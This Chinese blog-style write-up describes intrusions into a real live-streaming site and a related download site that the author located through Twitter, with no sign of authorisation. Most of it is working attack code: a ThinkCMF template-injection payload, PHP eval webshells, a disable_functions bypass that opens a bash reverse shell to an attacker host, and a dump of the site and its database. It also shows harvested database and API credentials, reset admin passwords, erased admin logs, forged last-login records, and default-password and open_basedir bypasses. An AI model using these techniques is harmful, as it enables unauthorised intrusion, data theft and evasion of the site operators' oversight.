0x01 前言
这篇文章记录的是笔者在阅读“******惨案之对某色情直播渗透”文章时发现可能存在漏点的情况,所以就想着尝试找出目标站点并对其漏洞进行复现测试,再看下能不能继续深入的搞点事情。
事后才得知那篇文章是由团队成员@久哥和他公司小伙伴一起写的,并投稿到了某处,已告知漏点之处!!!
0x02 通过Twitter平台找目标站点
原文章作者虽然对域名、IP以及一些关键字等信息都做了打码处理,但笔者还是通过Twitter截图上的某些关键字成功找到那条推文信息,左为原作者截图,右为笔者截图。
通过与原文中的推文作者头像和网站界面比对基本可以确定这就是他们的测试目标了,打开该网站后发现只是一个纯静态的APP引导下载站:http://****.xyz,暂时没法搞,先放一边。
这里还需要通过这个APP找出他的域名,可以选择逆向APK或者抓包的方式得到。笔者没有Android逆向环境,找团队成员@Twe1ve帮忙看了下,说是加壳了,暂时没法脱,最后用Fiddler工具抓包得到他们测试的域名为:http://live.******.com。
使用Fiddler工具在抓HTTPS包时需要注意以下两点:
0x03 利用ThinkCMF漏洞Getshell
通过对网站的观察发现是基于ThinkCMF开发的云豹直播系统,原文中已经说明这套程序的漏洞点出在ThinkCMF,并且作者也已经给出了最终利用Payload。
http://live.******.com/?a=fetch&content=<?=phpinfo();exit();
phpinfo探针信息中得知目标PHP为7.2.18版本,disable_functions禁用了以下危险函数。
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
这里限制了写入字符的长度,无法一次性将我们的PHP一句话木马写进去,一次性写入时会提示:模板不存在:themes/simplebootx/Portal/Index/fetch.html。
http://live.******.com/?a=fetch&content=<?=@$fp=fopen("xx.php",'a '); fwrite($fp,'<?php phpinfo();?>');exit();
不过这里可以用fopen()函数+a将字符一个一个写进去,手动提交太麻烦,而且还经常写错,这里笔者将<?php phpinfo();?>分割成了每行一个字符,然后通过Burpsuite里的Intruder模块批量写入,注意线程不要过快,否则可能写入失败。
<
?
p
h
p
p
h
p
i
n
f
o
(
)
;
?
>
'
"
众所周知“中国菜刀”在PHP7版本以后是无法连接上普通PHP一句话木马的,按照上边提供的方法将以下PHP一句话木马写进去,当然也可以尝试使用中国蚁剑和冰蝎进行连接。
<?php $z0=str_replace('@set_magic_quotes_runtime(0);','',base64_decode($_POST['z0']));$_POST['z0']=base64_encode($z0);@eval($_POST['cmd']);?>
写入PHP一句话木马时发现空格经常出现问题,'单引号也写不进去404,可以将部分'单引号换成"双引号,写入空格时建议与前或后1个字符一起写入,最终修改的PHP一句话木马如下。
<?php $z0=str_replace("@set_magic_quotes_runtime(0);","",base64_decode($_POST[z0]));$_POST[z0]=base64_encode($z0);@eval($_POST[cmd]);?>
使用修改后的PHP一句话木马成功拿到Webshell权限,但是启用了disable_functions,中国菜刀的虚拟终端:“提示:......,可能远程启用了安全模式!”,无法直接执行系统命令。
在以下两个数据库配置文件中找到MySQL、Redis账户密码,还在functions.php文件中找到一个过期的短信API账户密码,上边有QQ、Email、手机号等信息,暂时没什么鸟用,但可以先把这些信息搜集着,密码存在一定规律性,说不定后边能够用上。
/* mysql */
'DB_TYPE' => 'mysqli',
'DB_HOST' => '127.0.0.1',
'DB_NAME' => 'MH***hN',
'DB_USER' => 'MH***hN',
'DB_PWD' => 'MH***hNBbaYaNWxk',
'DB_PORT' => '3306',
'DB_PREFIX' => 'cmf_',
'DB_CHARSET' => 'utf8mb4',
/* redis */
'REDIS_HOST' => "127.0.0.1",
'REDIS_AUTH' => "****tao",
'REDIS_PORT' => "6379",
//密钥
"AUTHCODE" => 'rCt52pF2cnnKNB3Hkp',
//cookies
"COOKIE_PREFIX" => 'AJ1sOD_',
$smsapi = "http://api.sms***.com/";
$user = "xiaotianxin***"; //短信平台帐号
$pass = md5("dfh****"); //短信平台密码
QQ:776**344
Email:***dfh@gmail.com
手机号:150****6034
0x04 绕过disable_functions反弹Shell
这里笔者直接用https://github.com/mm0r1/exploits项目中的php7-backtrace-bypass脚本绕过了disable_functions,将该脚本中的pwn("uname -a");修改为我们的Bash反弹命令即可。
pwn("bash -i >& /dev/tcp/VPS_IP_Addr/Port 0>&1");
0x05 打包程序和数据并进入网站后台
在弹回的命令终端中连接MySQL时发现不能进行交互,这时我们只需要在弹回的命令终端中执行以下命令即可得到一个半交互式命令终端,然后就可以正常连接MySQL了。
[www@localhost backend]$ python -c 'import pty; pty.spawn("/bin/bash")'
使用tar、mysqldump、gunzip等命令将该网站程序和数据库给打包下来,便于我们本地做复现测试,当时忘了截图,就几条命令的事,就不再去补图了。
tar -cvf backend.tar /www/wwwroot/backend/
mysqldump -h127.0.0.1 -uroot -proot --databases MH***hN | gzip > backend.sql.gz
gunzip backend.sql.gz
MySQL数据库中找到的管理员密码无法通过解密得到明文密码,在function.php文件中找到ThinkCFM的加密算法如下,密文格式为:###08e3756d043515f77e8de4f5deb00496。
<?php
/* 密码加密 */
function setPass($pass){
$authcode='rCt52pF2cnnKNB3Hkp';
$pass="###".md5(md5($authcode.$pass));
return $pass;
}
echo setpass('123456')
?>
通过加密算法得到一个密文,进入MySQL替换管理员密码即可进入目标网站后台,这种方式最为简单快捷,但是动静比较大,需选择一个管理员不在线的时间段去操作,否则可能会被对方发现,最后还得恢复管理员密码和清除登录IP和操作日志,为防止误操作建议先在本地搭建环境测试。
1、查询管理员用户:
SELECT * FROM `cmf_users` WHERE `user_login`='B8V9nAV';
2、查询多少用户在用这个密码:
SELECT * FROM `cmf_users` WHERE FIND_IN_SET('###08e3756d043515f77e8de4f5deb00496',user_pass);
3、查询最近登录用户:
SELECT * FROM `cmf_users` ORDER BY last_login_time DESC;
4、修改管理员密码:
UPDATE `cmf_users` SET `user_pass`='###73b13b8b4d767f6c3c2953f123d1a721' WHERE (`user_login`='B8V9nAV');
5、删除管理员日志并重新按ID进行排序:
DELETE FROM `cmf_admin_log` WHERE (`id`>='4175');ALTER TABLE cmf_admin_log AUTO_INCREMENT = 1;
6、恢复管理员密码并替换最后登录IP和时间:
UPDATE `cmf_users` SET `user_pass`='###08e3756d043515f77e8de4f5deb00496',`last_login_ip`='122.60.22.247',`last_login_time`='2020-07-23 05:41:06' WHERE (`user_login`='B8V9nAV');
目前可进入目标网站后台和后续的渗透思路有以下一些,也希望各位大佬能补充一些其它思路,谢谢!
0x06 峰回路转之撸下APP引导下载站
管理员将云豹直播系统和APP引导下载站分别放在不同服务器上,所以无法通过目前已拿到的Webshell直接跨到APP引导下载站。我们继续来看下APP引导下载站,由于它是一个纯静态的网站,所以只能对它的旁站进行测试,查询到的旁站列表如下。
旁站列表中找到一个http://cl.****.xyz,网页源代码中发现用的是“辣椒cms”,这套程序与“久草CMS”类似,大多被用来搭建Sex影视站,没有用到数据库,所有视频数据均调用主站数据库,管理员用户密码保存在.\Jccms_json\admin_boss\boss.php文件中。
默认后台地址:http://cl.****.xyz/adminx/,使用“辣椒cms”默认管理员用户密码lajiaocms成功进入网站后台,然后在后台的登录重置处将密码修改为以下代码即可Getshell。
');echo ‘111111’;$z0=str_replace('@set_magic_quotes_runtime(0);','',base64_decode($_POST['z0']));$_POST['z0']=base64_encode($z0);@eval($_POST['cmd']);?>";//
两台服务器都是使用宝塔建的站,每个站的根目录下都会有一个.user.ini文件,并且使用open_basedir限制我们进行跨目录访问,网站根目录.user.ini文件内容如下。
open_basedir=/www/wwwroot/cl.****.xyz/:/tmp/:/proc/
不过我们可以在当前Webshell根目录下新建一个.user.ini文件,将内容修改如下即可绕过open_basedir限制跨目录访问。
open_basedir=/www/wwwroot/:/tmp/:/proc/